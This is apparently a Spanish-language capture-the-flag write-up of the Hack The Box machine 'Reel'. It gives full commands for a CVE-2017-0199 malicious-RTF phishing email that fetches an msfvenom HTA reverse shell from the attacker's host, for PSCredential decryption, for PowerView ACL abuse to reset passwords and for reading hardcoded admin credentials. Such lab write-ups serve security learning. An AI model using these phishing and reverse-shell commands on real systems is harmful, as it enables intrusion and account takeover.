HTB-Reel

IP -> 10.10.10.77

Reconocimiento

Nmap

Utilizamos nmap y obtenemos los siguientes resultados.

Reel Nmap Result

ftp

Tratamos de hacer una autenticación anonymous, y nos conecta. Listamos los directorios que hay.

AppLocker.docx readme.txt Windows Event Forwarding.docx

OS

file *
cat readme.txt
libreoffice AppLocker.docx
libreoffice Windows Event Forwarding.docx

En el readme vemos que tenemos que enviar un documento rtf (de texto enriquecido). El archivo AppLocker.docx no tiene mucha cosa. El archivo “Windows Event Forwarding.docx” está corrupto y no podemos abrirlo.

exiftool

Vamos a listar los metadatos de los archivos con exiftool.

MAIL: nico\@megaoffice.com

smtp

telnet

Nos conectamos con telnet al servicio smtp. Para validar el usuario encontrado.

telnet 10.10.10.77 25
HELO a
MAIL FROM: <creep33@megabank.com>
RCPT TO: <nico@megabant.com>

smpt-user-enum

Tambien podemos utilizar herramientas alternativas para enumerar usuarios válidos, como por ejemplo smpt-user-enum. El archivo users tiene que tener los usuarios con el @.

smtp-user-enum -M RCPT -u users -t 10.10.10.77

olevba

Podemos mirar si los archivos tienen macros con olevba, pero uno no tiene y el otro está corrupto

Explotación

smpt

Ahora vamos a intentar enviar un archivo RTF. Buscamos en google por “RTF malicius file remote command execution”. Encontramos un repositiorio con un script en python para crear el archivo RTF malicioso. Tenemos que tener un archivo .hta; Con msfvenom -l formats podemos listar a ver si podemos crear un archivo .hta y vemos un tipo de archivo con nombre similar, creamos un payload de windows/shell_reverse_tcp en formato .hta para hostearlo con python y crear una reverse shell con netcat.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f hta-psh -o rev.hta
python cve-2017-0199_toolkit.py -M gen -w salario.rtf -u http://10.10.14.10/rev.hta -t RTF -x 0 

sendemail -f creep33@megabank.com -t nico@megabank.com -u "IMPORTANTE" -m "Este es el informe de tu salario del ultimo trimestre." -s 10.10.10.77 -a salario.rtf -v

python3 -m http.server 80
rlwrap nc -nlvp 443

user.txt

User Pivoting

OS

cd Desktop
dir

cred.xml -> Archivo para almacenar un PSCredential, para almacenar credenciales, aunque podemos tratar de extraer la contraseña de la sesión.

Buscamos en google “powershell Import-Clixml”

powershell -c "$cred = Import-Clixml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *" 

User: Tom Pass: 1ts-mag1c!!!

ssh

Nos conectamos por ssh con la credenciales obtenidas.

User Pivoting (2)

OS

cd Desktop
dir
cd "AD Audit"
type note.txt
cd Bloodhound
cd Ingestors
dir

Vemos archivos como si hubieran hecho una auditoría. Y una nota que dice que no hay vías potenciales de escalar. acls.csv -> Archivo potencial a analizar, porque el resto son versiones de SharpHound.ps1 y es el único que destaca. Nos transferimos el archivo con smbserver.py

libreoffice acls.csv

Vemos un reporte de Bloodhound, con información del sistema. Seleccionamos todas las columnas que se usan y le damos a autofilter para aplicar filtros. Buscamos el usuario tom, para ver que privilegios tiene. Vemos que tiene WriteOwner sobre claire, asi que podemos cambiarle la contraseña y conectarnos. Como esta el Powerview.ps1, nos aprovechamos para realizar la explotación

Explotación

OS

Entramos en una powershell e importamos el Powerview.ps1

powershell
. .\Powerview.ps1
Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword
$pass = ConvertTo-SecureString "Mario123$!" -AsPlainText -Force
Set-DomainUserPassword -Identity claire -AccountPassword $pass

ssh

Nos conectamos por ssh como claire con las credenciales setteadas.

PrivEsc

OS

En el archivo acls.csv vemos que tenemos capacidad de añadirnos al grupo Backup_Admins como el usuario claire porque tenemos el privilegio WriteDacl.

net group Backup_Admins claire /add

Para confirmar que el grupo se establece correctamente tenemos que salir y volver a entrar como el usuario claire. Miramos que permisos tenemos sobre el directorio Administrator.

icacls Administrator
icacls root.txt
cacls root.txt

Podemos entrar en el directorio pero no podemos ver la flag

cd "Backup Scripts"
dir

Encontramos varios archivos backup.ps1

Tratamos de grepear en todos los archivos posibles contraseñas hardcodeadas. Para ello primero entramos en una powershell.

powershell
dir | select-string "Password"

PASS: Cr4ckMeIfYouC4n!

ssh

Iniciamos sesión como Administrator en la máquina víctima con las credenciales obtenidas.

root.txt


Escrito el 16-12-2021 a las 09:46 am por creep33.

Tags:

Categories:

Updated: